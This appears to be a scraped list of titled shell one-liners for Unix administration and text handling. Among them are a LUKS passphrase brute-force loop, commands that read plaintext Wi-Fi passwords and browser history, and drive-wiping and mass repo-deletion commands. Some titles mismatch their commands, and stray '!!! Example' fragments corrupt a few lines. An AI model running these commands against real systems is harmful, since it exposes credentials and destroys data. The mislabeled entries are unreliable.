gconftool-2 -t string -s /desktop/gnome/background/picture_filename <path_to_image>
Solaris - check ports/sockets which process has opened
/usr/proc/bin/pfiles $PID | egrep "sockname|port"
Ultimate current directory usage command
find . -maxdepth 1 -type d|xargs du -a --max-depth=0|sort -rn|cut -d/ -f2|sed '1d'|while read i;do echo "$(du -h --max-depth=0 "$i")/";done;find . -maxdepth 1 -type f|xargs du -a|sort -rn|cut -d/ -f2|sed '$d'|while read i;do du -h "$i";done
change dinosaur poop into gold
sqlite3 -list /home/$USER/.mozilla/firefox/*.default/places.sqlite 'select url from moz_places ;' | grep http
concatenate compressed and uncompressed logs
zgrep -h "" `ls -tr access.log*`
Purge configuration files of removed packages on debian based systems
dpkg -l | grep ^rc | awk '{print $2}' | xargs dpkg -P
Adding a startup script to be run at bootup Ubuntu
sudo update-rc.d <scriptname> defaults
draw line separator
seq -s '*' 40|tr -c '*' '*' && echo
Create and replay macros in vim
Convert CSV to JSON with miller
mlr --c2j --jlistwrap cat file.csv
Expedient hard disk temprature and load cycle stats
watch -d 'sudo smartctl -a /dev/sda | grep Load_Cycle_Count ; sudo smartctl -a /dev/sda | grep Temp'
Create a self-signed certificate for Apache Tomcat
${JAVA_HOME}/bin/keytool -genkey -alias tomcat [-validity (!!! Example "of days valid)] -keyalg RSA -keystore (Path to keystore)
Freshening up RKhunter
rkhunter --versioncheck --update --propupd --check
underscore to camelcase
echo "this_is_a_test" | sed -r 's/_([a-z])/\U\1/g'
Show a listing of open mailbox files (or whatever you want to modify it to show)
lsof | grep "/var/spool/mail/"
create a simple version of ls with extended output
alias l='ls -CFlash'
Remove an IP address ban that has been errantly blacklisted by denyhosts
denyhosts-remove $IP_ADDRESS
create a progress bar…
p(){ c=$(($(tput cols)-3));j=$(($1*c/100)); tput sc;printf "[$(for((k=0;k<j;k++));do printf "=";done;)>";tput cuf $((c-j));printf "]";tput rc; };for((i=0; i<=100; i++));do p i;done;echo
Displays the current time using HTTP
curl -Is google.com | grep Date
C function manual
alias man='man -S 2:3:1'
detect partitions
blkid -c /dev/null
Prepend a text to a file.
sed -i 's/^/ls -l /' output_files.txt
draw line separator (using knoppix5 idea)
printf '*%.s' {1..40}; echo
auto terminal title change
echo -ne "\033]0;${USER}@${HOSTNAME}: ${PWD}\007"
Get table column names from an MySQL-database in comma-seperated form
mysql -u<user> -p<password> -s -e 'DESCRIBE <table>' <database> | tail -n +1 | awk '{ printf($1",")}' | head -c -1
Open a file in a GTK+ dialog window
zenity --title passwd --width 800 --height 600 --text-info --filename /etc/passwd
Find ASCII files and extract IP addresses
1 find . -type f -exec grep -Iq . {} \; -exec grep -oE "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" {} /dev/null \;
Update your journal
vi ~/journal/$(date +%F)
Clear history
history -c
Dump and bz2compress a mysql db
mysqldump -u user -h host -ppwd -B dbname | bzip2 -zc9 > dbname.sql.bz2
Remove all the files except abc in the directory
rm ^'name with spaces'
identify exported sonames in a path
scanelf --nobanner --recursive --quiet --soname --format "+S#f"
Slow down IO heavy process
slow () { [ -n $1 ] && while ps -p $1 >/dev/null ; do kill -STOP $1; sleep 1; kill -CONT $1; sleep 1; done & }
Get version of loaded kernel module
lsmod | grep -io MODULENAME| xargs modinfo | grep -iw version
Fetch the current human population of Earth
curl -s http://www.census.gov/popclock/data/population/world | jshon -e world -e population -u
Get Shellcode from ARM Binaries
for i in $(objdump -d binary | grep "^ "|awk -F"[\t]" '{print $2}'); do echo -n ${i:6:2}${i:4:2}${i:2:2}${i:0:2};done| sed 's/.\{2\}/\\x&/g'
Test sendmail
echo "Subject: test" | /usr/lib/sendmail -v me@domain.com
get total of inodes of root partition
du --total --inodes / | egrep 'total$'
Then end of the UNIX epoch
date -d @$(echo $((2 ** 31 - 1)))
Search big files with long lines
lgrep() { string=$1; file=$2; awk -v String=${string} '$0 ~ String' ${file}; }
Find all plain text files that do not contain STRING
find . -type f ! -exec grep -q 'STRING' {} \; -print
parted - scripted partitioning (of all multipathed SAN LUNs)
for i in $(multipath -ll | grep "3PARdata,VV"|awk '{print $1}') ; do parted -a optimal /dev/mapper/$i --script -- mklabel gpt mkpart primary 1 -1 set 1 lvm on ; done
Play all the music in a folder, on shuffle
while [[ 1 ]]; do n=( */* ); s=${n[$(($RANDOM%${#n[@]}))]}; echo -e " - $s"; mpg123 -q "$s"; done
find out which directory uses most inodes - list total sum of directoryname existing on filesystem
find /etc -xdev -printf '%h\n' | sort | uniq -c | sort -k 1 -n
Identify all amazon cloudformation scripts recursively using ripgrep
rg -l "AWSTemplateFormatVersion: '2010-09-09'" *
Cryptographically secure 32-bit RNG in strict ZSH
srandom() { zmodload zsh/system; local byte; local -i rnd=0; repeat 4; do sysread -s 1 byte || return; rnd=$(( rnd << 8 | #byte )); done < /dev/urandom; print -r -- $rnd; }
change ownership en masse of files owned by a specific user, including files and directories with spaces
find . -uid 0 -print0 | xargs -0 chown foo:foo
Currency Conversion
currency_convert() { curl -s "http://www.google.com/finance/converter?a=$1&from=$2&to=$3" | sed '/res/!d;s/<[^>]*>//g'; }
one-line log format for svn
svn log | perl -l40pe 's/^-+/\n/'
identify NEEDED sonames in a path
scanelf --nobanner --recursive --quiet --needed --format "+n#F" $1 | tr ',' '\n' | sort -u
Lists all usernames in alphabetical order
getent passwd | cut -d: -f1 | sort
Grep all non-ascii character in file
grep --color='auto' -P -n '[^\x00-\x7F]' my_file.txt
Show memory usage of all docker / lxc containers (works on CoreOS)
for line in `docker ps | awk '{print $1}' | grep -v CONTAINER`; do docker ps | grep $line | awk '{printf $NF" "}' && echo $(( `cat /sys/fs/cgroup/memory/system.slice/docker-$line*/memory.usage_in_bytes` / 1024 / 1024 ))MB ; done
Transfer Entire recursive from one host to another. Only copies files that are newer or do not exist
rsync -azE -e "ssh -pPortnumber" src_dir user@hostB:dest_dir
Convert Squid unixtime logs in human-readable ones
perl -p -e 's/^([0-9]*)/"[".localtime($1)."]"/e' < /var/log/squid/access.log
Key binding to search commandlinefu.com
function ds { echo -n "search : "; read ST; EST=`php -r "echo rawurlencode('$ST');"`; B64=`echo -n $ST| openssl enc -base64`; curl -s "http://www.commandlinefu.com/commands/matching/$EST/$B64/plaintext" | less -p "$ST"; } ; bind '"\C-k"':"\"ds\C-m\""
cat stdout of multiple commands
( command1 arg arg ; command2 arg ) ...
Repeat a command until stopped
while true ; do echo -n "`date`";curl localhost:3000/site/sha;echo -e;sleep 1; done
Recursively find top 20 largest files (> 1MB) sort human readable format
find . -mount -type f -printf "%k %p\n" | sort -rg | cut -d \ -f 2- | xargs -I {} du -sh {} | less
Download all images from a 4chan thread
function 4chandl () { wget -e robots=off -nvcdp -t 0 -Hkrl 0 -I \*/src/ -P . "$1" }
vi show line numbers
:set nu
Get video information with ffmpeg
exiftool video.wmv
create ext4 filesystem with big count of inodes
mkfs.ext4 -T news /dev/sdcXX
get some information about the parent process from a given process
ps -o ppid= <given pid> | xargs ps -p
Run command from another user and return to current
su - $user -c <command>
Count lines using wc.
wc -l file.txt
find the path of the java called from the command line
ls -l $(type -path -all java)
Re-read partition table on specified device without rebooting system (here /dev/sda).
partprobe
Random quote from Borat
curl -s http://smacie.com/randomizer/borat.html | sed -nE "s!!! Example "*<td valign=\"top\"><big><big><big><font face=\"Comic Sans MS\">(.*)</font></big></big></big></td>#\1#p"
move up through directories faster (set in your /etc/profile or .bash_profile)
function up { for i in `seq 1 $1`; do cd ../ && pwd; done }
Generate a random text color in bash
echo -e "\e[3$(( $RANDOM * 6 / 32767 + 1 ))mHello World!"
Show OS release incl version.
grep -m1 -h [0-9] /etc/{*elease,issue} 2>/dev/null | head -1
log2 in Bash
log2() { local n=0; for ((i=$1-1; i>0; i>>=1)); do ((n+=1)); done; echo $n; }
Finds all files from / on down over specified size.
find / -type f -size +25M -exec ls -lh {} \; | awk '{ print $5 " " $6$7 ": " $9 }'
Floating point power p of x
bc -l <<< "x=2; p=0.5; e(l(x)*p)"
print offsets of file disk for losetup/loop-mount
/sbin/parted -m /dev/sdX unit b print | grep '^[1234]' | sed 's/:/ --offset=/; s/B:[[:digit:]]*B:/ --sizelimit=/; s/B:/ [/; s/:.*/]/'
seq (argc=2) for FreeBSD
case `uname` in FreeBSD)a=$#; case $a in 2) case $1 in 0) jot $(($2+1)) 0 $2 ;; *) jot $2 $1 $2 ;;esac;esac;esac; !!! Example "usage: seq 1 4; seq 0 4
Find the 10 users that take up the most disk space
sudo -s du -sm /Users/* | sort -nr | head -n 10
Capitalize the first letter of every word
sed "s/\b\(.\)/\u\1/g"
Destroy all ZFS snapshots
zfs list -H -o name -t snapshot | xargs -n1 -t zfs destroy
Sort content of a directory including hidden files.
du -sch .[!.]* * |sort -h
True random number generator in pure ZSH
trng() { zmodload zsh/datetime; local flips=""; while ((${#flips}<256)); do local coin=0; local t=$((EPOCHREALTIME+0.001)); while (($EPOCHREALTIME<$t)); do ((coin^=1)); done; flips+=$coin; done; local h=($(print "$flips"|sha256sum));
Check general system error on AIX
errpt -a | more
List upcoming events on google calendar
google calendar list --date `date --date="next thursday" +%Y-%m-%d`
Edit your command in vim ex mode by <ctrl-f>
Quickly generate an MD5 hash for a text string using OpenSSL
md5sum<<<'text to be encrypted'
Open Sublime-text in current directory
subl $(pwd)
Tapping screen for TikTok using shell script
while true; do input tap $(wm size | awk -F 'x' '{print $1/2 " " $2/2}'); done
Count number of bytes that are different between 2 binary files
cmp -l file1.bin file2.bin | wc -l
Schedule a script or command in x num hours, silently run in the background even if logged out
echo "nohup command rm -rf /phpsessions 1>&2 &>/dev/null 1>&2 &>/dev/null&" | at now + 3 hours 1>&2 &>/dev/null
Cd Deluxe - improved cd command for *nix and windows
cdd [NAMED_OPTIONS] [FREEFORM_OPTIONS]
Find all SUID binaries
find / -perm +6000 -type f -exec ls -ld {} \;
count the number of specific characters in a file or text stream
find /some/path -type f -and -iregex '.*\.mp3$' -and -print0 | tr -d -c '\000' |wc -c
Reads a CD/DVD and creates an dvdisaster iso image with the advanced RS02 method.
dvdisaster -vr --defective-dump . --internal-rereads 5 --raw-mode 20 --read-attempts 1-23 --read-raw --speed-warning 12 --adaptive-read --auto-suffix --read-medium 2 && dvdisaster -vc -mRS02 --raw-mode 20 --read-raw --auto-suffix
Download latest released gitlab docker container
wget -qO- 'https://github.com'$(curl -s 'https://github.com'$(curl -s https://github.com/sameersbn/docker-gitlab/releases | grep -m 1 -o '<a.*[0-9\.]</a>' | cut -d '"' -f 2) | grep -o '<a.* rel="nofollow">' | grep 'tar.gz' | cut -d '"' -f 2)
Generate Random Text based on Length
genRandomText() { tr -cd '[:alpha:]' < /dev/urandom | head -c "$1"; }
Produce 10 copies of the same string
echo boo{,,,,,,,,,,}
SHA256 signature sum check of file
openssl dgst -sha256 <FILENAME>
Get all IPs via ifconfig
ifconfig | awk '/ddr:[0-9]/ {sub(/addr:/, ""); print $2}'
The command used by applications in OS X to determine whether a plist is "good". from Ed Marczak.
plutil -lint plist-file
Download full FLAC albums from archive.org
wget -rc -A.flac --tries=5 http://archive.org/the/url/of/the/album
Google Spell Checker
spellcheck(){ curl -sd "<spellrequest><text>$1</text></spellrequest>" https://www.google.com/tbproxy/spell | sed 's/.*<spellresult [^>]*>\(.*\)<\/spellresult>/\1/;s/<c \([^>]*\)>\([^<]*\)<\/c>/\1;\2\n/g' | grep 's="1"' | sed 's/^.*;\([^\t]*\).*$/\1/'; }
move you up one directory quickly
alias b='cd ../'
Chrome sucks
ps aux | awk '/chrome/ {s+=$6}END{print s/1024}';
Get last sleep time on a Mac
sysctl -a | grep sleeptime
camelcase to underscore
echo thisIsATest | sed -r 's/([A-Z])/_\L\1/g'
encode HTML entities
perl -MHTML::Entities -ne 'print encode_entities($_)' /tmp/subor.txt
Check for Firewall Blockage.
iptables -L -n --line-numbers | grep xx.xx.xx.xx
Copy files and directories from a remote machine to the local machine
ssh user@host "(cd /path/to/remote/top/dir ; tar cvf - ./*)" | tar xvf -
Puts every word from a file into a new line
awk '{c=split($0, s); for(n=1; n<=c; ++n) print s[n] }' INPUT_FILE > OUTPUT_FILE
Scrape commands from commandline fu's 1st page
curl -s http://www.commandlinefu.com/commands/browse|egrep '("Fin.*and"|<div class="command">.*</div>)'|sed 's/<[^<]*>//g'|ruby -rubygems -pe 'require "cgi"; $_=sprintf("\n\n%-100s\n\t#%-20s",CGI.unescapeHTML($_).chomp.strip, gets.lstrip) if $.%2'
A DESTRUCTIVE command to render a drive unbootable
badblocks -vfw /dev/fd0 10000 ; reboot
Show sorted list of files with sizes more than 1MB in the current dir
ls -l | awk '$5 > 1000000' | sort -k5n
Change MySQL Pager For Nicer Output
mysql --pager="less -niSFX"
Using commandoutput as a file descriptor
diff rpm_output_from_other_computer <(rpm -qa|sort)
print all characters of a file using hexdump
od -c <file>
Get top N files in X directory
largest() { dir=${1:-"./"}; count=${2:-"10"}; echo "Getting top $count largest files in $dir"; du -sx "$dir/"* | sort -nk 1 | tail -n $count | cut -f2 | xargs -I file du -shx file; }
Stores the certificate expiration date on the variable A
echo | openssl s_client -connect www.batatinha.com.br:443 2>/dev/null | openssl x509 -noout -dates | tail -1 | tr -s " " |cut -d "=" -f2 | cut -d " " -f1,2,4
clone a hard drive to a remote directory via ssh tunnel, and compressing the image
dd if=/dev/sda | gzip -c | ssh user@ip 'dd of=/mnt/backups/sda.dd'
Find all dot files and directories
printf "%s\n" .*
Count threads of a jvm process
ps uH p <PID_OF_U_PROCESS> | wc -l
Check if you partition are aligned
fdisk -l /dev/sda | grep -E sda[0-9]+ | sed s/*// | awk '{printf ("%s %f ",$1,$2/512); if($2%512){ print "BAD" }else {print "Good"} }' | column -t
Mount a VMware virtual disk (.vmdk) file on a Linux box
sudo mount vmware-server-flat.vmdk /tmp/test/ -o ro,loop=/dev/loop1,offset=32768 -t ntfs
Merge bash terminal histories
echo 'export PROMPT_COMMAND="history -a; history -c; history -r; $PROMPT_COMMAND"' >> .bashrc
Git diff last two commits
git diff HEAD^ HEAD
execute command on all files of certain types excluding folders that match pattern
find . -regextype posix-egrep -regex '.+\.(c|cpp|h)$' -not -path '*/generated/*' -not -path '*/deploy/*' -print0 | xargs -0 ls -L1d
Listen to a song from youtube with youtube-dl and mpv
listen-to-yt() { if [[ -z "$1" ]]; then echo "Enter a search string!"; else mpv "$(youtube-dl --default-search 'ytsearch1:' \"$1\" --get-url | tail -1)"; fi }
Determine configure options used for MySQL binary builds
grep CONFIG $(which mysqlbug)
List only executables installed by a debian package
lst=`dpkg -L iptables` ; for f in $lst; do if [ -x $f ] && [ ! -d $f ] ; then echo $f; fi; done;
Set blanket packet/second limit on network interface for Ubuntu VPS server
sudo iptables -A INPUT -m limit --limit 2000/sec -j ACCEPT && sudo iptables -A INPUT -j DROP
Bash scripts encryption and passphrase-protection
scrypt(){ [ -n "$1" ]&&{ echo '. <(echo "$(tail -n+2 $0|base64 -d|mcrypt -dq)"); exit;'>$1.scrypt;cat $1|mcrypt|base64 >>$1.scrypt;chmod +x $1.scrypt;};}
Show tcp connections sorted by Host / Most connections
netstat -ntu | tail -n +3 | awk '{print $5}' | sed 's/:[0-9]*$//' | sort | uniq -c | sort -rn
Create sqlite db and store image
sqlite3 img.db "create table imgs (id INTEGER PRIMARY KEY, img BLOB); insert into imgs (img) values (\"$(base64 -w0 /tmp/Q.jpg)\"); select img from imgs where id=1;" | base64 -d -w0 > /tmp/W.jpg
Print the contents of $VARIABLE, six words at a time
echo $VARIABLE | xargs -d'\40' -n 6 echo
Allow any local (non-network) connection to running X server
xhost +local:
the executable that started the currently running oracle databases and the ORACLE_HOME relative to each
ps -ef |grep oracle |grep pmon |awk '{print $2}' |xargs -I {} ps eww {} |grep pmon |grep -v grep |awk '{print $5 " " $6 " " $0}' |sed 's/\(S*\) \(S*\) .*ORACLE_HOME/\1 \2/g' |cut -f1,2,3 -d" "
Downmix from stereo to mono and play radio stream with mplayer
mplayer -af pan=1:0.5:0.5 -channels 1 radiostream.pls
How long has this disk been powered on
smartctl -A /dev/sda | grep Power_On_Hours
Steve Reich - Piano Phase; interpreter: Bourne-Again Shell.
phase() { while :; do for n in E4 F#4 B4 C#5 D5 F#4 E4 C#5 B4 F#4 D5 C#5; do /usr/bin/play -qn synth $1 pluck $n; done; echo -n "[$1]"; done; }; phase 0.13 & phase 0.131 &
Save the current directory without leaving it
pushd .
List only directories, one per line
find * -type d -maxdepth 0
Batch Convert SVG to PNG (in parallel)
parallel convert {} {.}.png ::: *.svg
Check syntax of remote ruby file
wget --quiet 'https://raw.githubusercontent.com/rahult/books/master/well_grounded_rubyist/threads/rps.rb' - | ruby -c
Rename all files in lower case
for f in `find`; do mv -v "$f" "`echo $f | tr '[A-Z]' '[a-z]'`"; done
Display PHP files that directly instantiate a given class
find . -name "*.php" -exec grep \-H "new filter_" {} \;
Recurse through directories easily
find . -type f | while read file; do cp $file ${file}.bak; done
Revert back all files currently checked out by Perforce SCM for edit
ropened='p4 opened | awk -F!!! Example ""{print \$1}" | p4 -x - revert'
Convert a MOV captured from a digital camera to a smaller AVI
ffmpeg -i input.mov -b 4096k -vcodec msmpeg4v2 -acodec pcm_u8 output.avi
Count opening and closing braces in a string.
countbraces () { COUNT_OPENING=$(echo $1 | grep -o "(" | wc -l); COUNT_CLOSING=$(echo $1 | grep -o ")" | wc -l); echo Opening: $COUNT_OPENING; echo Closing: $COUNT_CLOSING; }
Gets WAN ip address directly from DGN2200 router.
wget -O - -o /dev/null -q --user=$user --password=$pass "http://$ip/ADV_home2.htm" | awk -r '/Internet Port/, /Domain/ {if ($0 ~ /([[:digit:]]+\.){3}[[:digit:]]+/ && ($3 !~ /^>(0|255)/)) {match($3, /([[:digit:]]+\.){3}[[:digit:]]+/, ar); print ar[0]; }}'
pimp text output e.g. "Linux rocks!" to look nice
cowsay Linux rocks!
Displays user-defined ps output and pidstat output about the top CPU or MEMory users.
for i in $(ps -eo pid,pmem,pcpu| sort -k 3 -r|grep -v PID|head -10|awk '{print $1}');do diff -yw <(pidstat -p $i|grep -v Linux) <(ps -o euser,pri,psr,pmem,stat -p $i|tail);done
Upgrade all expired homebrew packages
brew outdated | cut -f1 | xargs brew upgrade
Factory reset your harddrive. (BE CAREFUL!)
hdparm --yes-i-know-what-i-am-doing --dco-restore /dev/sdX
Get a process's pid by supplying its name
pidof () { ps acx | egrep -i $@ | awk '{print $1}'; }
Show changed files, ignoring permission, date and whitespace changes
git diff --numstat -w --no-abbrev | perl -a -ne '$F[0] != 0 && $F[1] !=0 && print $F[2] . "\n";'
Read just the IP address of a device
/sbin/ip -f inet addr | sed -rn 's/.*inet ([^ ]+).*(eth[[:digit:]]*(:[[:digit:]]+)?)/\2 \1/p' | column -t
pimp text output e.g. "Linux rocks!" to look nice
figlet Linux rocks!
Edit a file in vim (at the first error) if it is not well formed xml.
vimlint(){ eval $(xmllint --noout "$1" 2>&1 | awk -F: '/parser error/{print "vim \""$1"\" +"$2; exit}'); }
Show a config file without comments
sed -e 's/#.*//;/^\s*$/d'
sort ip by count quickly with awk from apache logs
awk '{array[$1]++}END{ for (ip in array) print array[ip] " " ip}' <path/to/apache/*.log> | sort -n
convert single digit to double digits
function rjust_file_nums(){for i in *.ogg; do; mv $i `ruby -e "print ARGV.first.gsub(/\d+/){|d| d.rjust($1,'0')}" $i`; done }
Copy with progress
gcp [source] [destination]
List the most recent dates in reverse-chronological order
echo {-1..-5}days | xargs -n1 date +"%Y-%m-%d" -d
Upgrade pip-installed python packages
python -c "import pip; print(' '.join([x.project_name for x in pip.get_installed_distributions()]))" | xargs sudo pip install -U
Find passwords that has been stored as plain text in NetworkManager
grep -H '^psk=' /etc/NetworkManager/system-connections/*
cp the file
cp /some/path/to/myfile{,.back}
Convert from octal format to umask
perm=( 6 4 4 ) ; for elem in ${perm[@]}; do echo `expr 7 - $elem` ; done
Extract your list of blocked images hosts from Firefox database
sqlite3 -noheader -list ~/.mozilla/firefox/<your_profile>/permissions.sqlite "select host from moz_hosts where type='image' and permission=2"
set wallpaper on windowmaker in one line
wmsetbg -s -u path_to_wallpaper
return external ip
curl inet-ip.info
Watch how many tcp connections there are per state every two seconds.
watch -c "netstat -nt | awk 'FNR > 3 {print \$6}' | sort | uniq -c"
Print the detailed statistics of transferred bytes by the firewall rules
sudo iptables -L -nv
Generate a random password 30 characters long
tr -cd '[:alnum:]' < /dev/urandom | fold -w30 | head -n1
convert markdown to PDF
markdown doc.md | htmldoc --cont --headfootsize 8.0 --linkcolor blue --linkstyle plain --format pdf14 - > doc.pdf
Capitalize first letter of each word in a string
echo 'fOo BaR' | ruby -e "p STDIN.gets.split.map(&:capitalize).join(' ')"
Remove job from crontab by commandline
crontab -l -u USER | grep -v 'YOUR JOB COMMAND or PATTERN' | crontab -u USER -
function to compute what percentage of X is Y? Where percent/100 = X/Y => percent=100*X/Y
function wpoxiy () { !!! Example "What percentage of X is Y? Where percent/100 = X/Y => percent=100*X/Y !!! Example "Example: wpoxiy 10 5 !!! Example "50.00% !!! Example "Example: wpoxiy 30 10 !!! Example "33.33% echo $(bc <<< "scale=2; y=${1}; x=${2}; percent=x*100/y; percent")"%"; }
Adhoc tar backup
tar -cvzf - /source/path | ssh <targethostname> -l <username> dd of=/destination/path/backupfile.tgz
Explanation of system and MySQL error codes
perror NUMBER
Find unused IPs on a given subnet
nmap -sP <subnet>.* | egrep -o '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+' > results.txt ; for IP in {1..254} ; do echo "<subnet>.${IP}" ; done >> results.txt ; cat results.txt | sort -n -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4 | uniq -u
Skip banner on ssh login prompt
ssh -q user@server
Alias to securely run X from tty and close that tty afterwards.
alias onlyx='nohup startx & disown ; exit'
umount –rbind mount with submounts
cat /proc/mounts | awk '{print $2}' | grep "^$MOUNTPOINT" | sort -r | xargs umount
Send an email from the terminal when job finishes
wait_for_this.sh; echo "wait_for_this.sh finished running with status $?" | mail -s "Job Status Update" username@gmail.com
delete all bitbucket repos via rest API v2 (req: jq and curl)
for repo in `curl -s -u 'USERNAME:PASSWORD' -X GET -H "Content-Type: application/json" 'https://api.bitbucket.org/2.0/repositories/USER|jq -r .values[].links.self.href`; do curl -s -u 'USERNAME:PASSWORD' -X DELETE $repo;done
highlight with grep and still output file contents
grep --color -E 'pattern|' file
search user defined function in c language
cflow file.c | grep ':$' | sed 's/ <.*//'
Remove blank lines from a file using grep and save output to new file
grep -v "^$" filename > newfilename
Checks apache's access_log file, strips the search queries and shoves them up your e-mail
awk '/q=/{print $11}' /var/log/httpd/access_log.4 | awk -F 'q=' '{print $2}' | sed 's/+/ /g;s/%22/"/g;s/q=//' | cut -d "&" -f 1
convert ascii string to hex
echo $ascii | perl -ne 'printf ("%x", ord($1)) while(/(.)/g); print "\n";'
find filenames and directory names that doesn't conform ISO 9660 level 2
find . -regextype posix-extended -not -regex '.*/[A-Za-z_]*([.][A-Za-z_]*)?'
Search for classes in Java JAR files.
find . -name "*.jar" | while read line; do unzip -l $line; done | grep your-string
Rebuild a Delimited File with a Unique Delimiter
sed 's/$/uniqueString/' file.old | sed 's/,/\n/g' | sed ':loop;/^\"[^\"]*$/N;s/\n/,/;/[^\"]$/t loop' | sed ':loop;N;s/\n/@/g;/uniqueString$/!b loop;s/uniqueString$//' > file.new
Top 20 commands in your bash history
sed -e 's/[;|][[:space:]]*/\n/g' .bash_history | cut --delimiter=' ' --fields=1 | sort | uniq --count | sort --numeric-sort --reverse | head --lines=20
shutdown if wget exit
while pgrep wget || sudo shutdown -P now; do sleep 1m; done
Nmap list IPs in a network and saves in a txt
nmap -sP 192.168.1.0/24 | grep "Nmap scan report for"| cut -d' ' -f 5 > ips.txt
list files by testing the ownership
find . -user root
TCP and UDP listening sockets
netstat -t -u -l
Bruteforce dm-crypt using shell expansion
for a in {p,P}{a,A,4}{s,S,5}{s,S,5}; do echo $a|cryptsetup luksOpen /dev/sda5 $a && echo KEY FOUND: $a; done
makes screen your default shell without breaking SCP or SFTP
[ "$TERM" != "dumb" ] && [ -z "$STY" ] && screen -dR
zgrep across multiple files
find . -name "file-pattern*.gz" -exec zgrep -H 'pattern' {} \;
Configure a serial line device so you can evaluate it with a shell script
stty -F "/dev/ttyUSB0" 9600 ignbrk -brkint -icrnl -imaxbel -opost -onlcr -isig -icanon -iexten -echo -echoe -echok -echoctl -echoke time 5 min 1 line 0
autorun program when logon Windows XP
schtasks /create /sc onlogon /tn "Run prog" /tr prog.exe
Resample a WAV file with sox
sox infile.wav -r 44100 outfile.wav resample
automatically ditch old versions in a conflict
qq/<<<<<<^Md/^======^Mdd/>>>>>>^Mdd^M/<<<<<<q
Get AWS temporary credentials ready to export based on a MFA virtual appliance
head -n1 | xargs -I {} aws sts get-session-token --serial-number $MFA_ID --duration-seconds 900 --token-code {} --output text --query [Credentials.AccessKeyId,Credentials.SecretAccessKey,Credentials.SessionToken]
List all files/folders in working directory with their total size in Megabytes
du --max-depth=1 -m
Generate a ZenCart-style MD5 password hash.
python -c 'p="SeCuR3PwD";import hashlib as h;s=h.md5(p).hexdigest()[:2];pw=h.md5(s+p).hexdigest();print pw+":"+s;'
Remote Serial connection redirected over network using SSH
remserial -d -p 23000 -s "115200 raw" /dev/ttyS0 &
Get DELL Warranty Information from support.dell.com
curl -sL http://www.dell.com/support/troubleshooting/us/en/555/Servicetag/$(dmidecode -s system-serial-number) | html2text -style pretty | awk -F\. '/with an end date of/ { print $1 "."}'
Get current logged in users shortname
stat -f%Su /dev/console
Get technical and tag information about a video or audio file
mediainfo (file.name)
strip non-constant number of directories from tar archive while decompressing
tar --transform 's#.*/\([^/]*\)$#\1#' -xzvf test-archive.tar.gz
copy paste multiple binary files
tar -c bins/ | gzip -9 | openssl enc -base64
Calculating number of Connection to MySQL
mysql -NBe 'show global status like "Threads_connected";' | cut -f2
Get your outgoing IP address
curl ifconfig.me
Display 16 largest installed RPMs in size order, largest first
rpm -qa --queryformat '%{size} %{name}-%{version}-%{release}\n' | sort -k 1,1 -rn | nl | head -16
Find all Mac Address
ifconfig | egrep [0-9A-Za-z]{2}\(:[0-9A-Za-z]{2}\){5} | awk '{print $1 ":\t" $5}'
Restrict the use of dmesg for current user/session
sudo sh -c 'echo 1 > /proc/sys/kernel/dmesg_restrict'
Join lines and separate with spaces
tr -d '\r' < vmargs.txt | tr '\n' ' '
Calculate days on which Friday the 13th occurs
for y in $(seq 1996 2018); do echo -n "$y -> "; for m in $(seq 1 12); do NDATE=$(date --date "$y-$m-13" +%A); if [ $NDATE == 'Friday' ]; then PRINTME=$(date --date "$y-$m-13" +%B);echo -n "$PRINTME "; fi; done; echo; done
resize(½) the image using imagemagick
convert -resize 50%x50% image{,_resize}.jpg
Updating to Fedora 11
yum clean all ; rpm -Uvh http://download.fedora.redhat.com/pub/fedora/linux/releases/11/Fedora/i386/os/Packages/fedora-release-11-1.noarch.rpm ; yum -y upgrade ; reboot
Makes a Zenity select list based on entries in your wpa_supplicant.conf
grep -oE "ssid=\".*\"" /etc/wpa_supplicant.conf | cut -c6- | sed s/\"//g | zenity --list --title="Choose Access Point" --column="SSID"
Rename files to be all in CAPITALS
for n in * ; do mv $n `echo $n | tr '[:lower:]' '[:upper:]'`; done
Anti DDOS
tail -f /var/www/logs/domain.com.log | grep "POST /scripts/blog-post.php" | grep -v 192.168. | awk '{print $1}' | xargs -I{} iptables -I DDOS -s {} -j DROP
Create the directoty recursively
mkdir /home/dhinesh/dir1/{dir2,dir3,dir4}/file1.txt -p
Show bz compressed PF binary log
bzcat ext_if.log.0.bz2 | tcpdump -n -e -tttt -r - | less
Get last sleep time on a Mac
sysctl kern.sleeptime
List all directories only.
for d in */;{ echo $d; }
Installing debian on fedora (chrooted)
debootstrap --arch i386 lenny /opt/debian ftp://debian.das.ufsc.br/pub/debian/
Show display adapter, available drivers, and driver in use
lspci -v | perl -ne '/VGA/../^$/ and /VGA|Kern/ and print'
processes per user counter
pgrep -cu ioggstream
print a cpu of a process
ps -eo %cpu,args | grep -m1 PROCESS | awk '{print $1}'
Make sure your script runs with a minimum Bash version
if [ -z "${BASH_VERSINFO}" ] || [ -z "${BASH_VERSINFO[0]}" ] || [ ${BASH_VERSINFO[0]} -lt 4 ]; then echo "This script requires Bash version >= 4"; exit 1; fi
Resolution of a image
identify -format "%[fx:w]x%[fx:h]" logo:
Opens an explorer.exe file browser window for the current working directory or specified dir (Fixed)
open(){ if [[ -n "$1" ]];then explorer /e, $(cygpath -mal "$PWD/$1");else explorer /e, $(cygpath -mal "$PWD");fi }
Shows cpu load in percent
top -bn2|awk -F, '/Cpu/{if (NR>4){print 100-gensub(/.([^ ]+).*/,"\\1","g",$4)}}'
This will allow you to browse web sites using "-dump" with elinks while you still are logged in
sed -i 's/show_formhist = 1/show_formhist = 0/;s/confirm_submit = 0/confirm_submit = 1/g' /etc/elinks/elinks.conf; elinks -dump https://facebook.com
Add all files in current directory to SVN
svn add --force *
List bash functions defined in .bash_profile or .bashrc
set | fgrep " ()"
Recursive Line Count
find * -type f -not -name ".*" | xargs wc -l
Print only the odd lines of a file
awk 'NR%2'
Test a SSLv2 connection
openssl s_client -connect localhost:443 -ssl2
Update grub menu.lst
sed -e '/^$/d' -e '/^#/d' -e '/initrd/ a\ ' -e 's/hiddenmenu//g' -e '/^timeout/d' -e '/default/ a\timeout\t\t15' -e 's/quiet//g' -e 's/splash/rootdelay=60/g' /boot/grub/menu.lst > /boot/grub/menu.lst.new
erase next word
ALT + d
List the most recent dates in reverse-chronological order
